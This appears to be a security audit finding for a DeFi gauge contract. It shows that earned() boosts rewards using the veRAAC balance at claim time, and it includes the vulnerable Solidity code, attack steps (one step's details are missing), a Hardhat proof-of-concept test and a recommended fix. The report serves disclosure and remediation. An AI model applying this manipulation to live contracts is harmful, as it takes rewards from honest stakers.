Summary
The earned()
function calculates rewards based on the user's current weight, which depends on their veRAAC balance at the time of claiming. This allows users to temporarily boost their rewards by increasing their veRAAC balance just before claiming and reducing it afterward.
Vulnerability Details
The vulnerability exists in the earned()
function:
function earned(address account) public view returns (uint256) {
@> return (getUserWeight(account) *
(getRewardPerToken() - userStates[account].rewardPerTokenPaid) / 1e18
) + userStates[account].rewards;
}
function getUserWeight(address account) public view virtual returns (uint256) {
uint256 baseWeight = _getBaseWeight(account);
@> return _applyBoost(account, baseWeight);
}
function _applyBoost(address account, uint256 baseWeight) internal view virtual returns (uint256) {
if (baseWeight == 0) return 0;
IERC20 veToken = IERC20(IGaugeController(controller).veRAACToken());
@> uint256 veBalance = veToken.balanceOf(account);
uint256 totalVeSupply = veToken.totalSupply();
BoostCalculator.BoostParameters memory params = BoostCalculator.BoostParameters({
maxBoost: boostState.maxBoost,
minBoost: boostState.minBoost,
boostWindow: boostState.boostWindow,
totalWeight: boostState.totalWeight,
totalVotingPower: boostState.totalVotingPower,
votingPower: boostState.votingPower
});
uint256 boost = BoostCalculator.calculateBoost(
veBalance,
totalVeSupply,
params
);
return (baseWeight * boost) / 1e18;
}
The getUserWeight()
function uses the current veRAAC balance to calculate the boost multiplier. This means that the reward calculation is based on the user's veRAAC balance at the moment of claiming, rather than throughout the earning period.
A malicious user can:
Hold a minimal amount of veRAAC while rewards accrue
Right before claiming:
This allows users to receive significantly more rewards than they should have earned based on their actual veRAAC commitment during the earning period.
Impact
This allows direct manipulation of reward distribution:
Users can extract more rewards than they should rightfully earn
Reduces rewards available to honest users who maintain consistent veRAAC holdings
The excess rewards claimed are permanently lost from the protocol
Tools Used
Manual review
Proof of Concept
First a bug in the BaseGauge::constructor()
function need to be fixed, as this cause overflow in the calculations due to a incorrect assignment of boostState.minBoost
:
- boostState.minBoost = 1e18;
+ boostState.minBoost = 10000;
Add the following test case to the test/unit/core/governance/gauges/GaugeController.test.js
file:
it("reward boost manipulation", async () => {
await rewardToken.mint(rwaGauge.target, ethers.parseEther("100000000000000000000"));
await veRAACToken.mint(user1.address, ethers.parseEther("2000"));
await gaugeController.connect(user1).vote(await rwaGauge.getAddress(), 5000);
await veRAACToken.connect(user1).approve(rwaGauge.target, ethers.parseEther("1000"));
await rwaGauge.connect(user1).stake(ethers.parseEther("1000"));
await gaugeController.distributeRewards(rwaGauge.target);
const rwaGaugeDuration = await rwaGauge.getPeriodDuration();
await time.increase(rwaGaugeDuration);
const earnedUser1 = await rwaGauge.earned(user1.address);
expect(earnedUser1).to.be.gt(0);
await veRAACToken.mint(user1.address, ethers.parseEther("10000"));
const earnedUser1AfterBoost = await rwaGauge.earned(user1.address);
expect(earnedUser1AfterBoost).to.be.gt(earnedUser1);
expect(earnedUser1AfterBoost).to.be.gt(earnedUser1 * 13n / 10n);
});
Recommendations
Track the user's veRAAC balance over time using a time-weighted average, similar to how vote weights are tracked.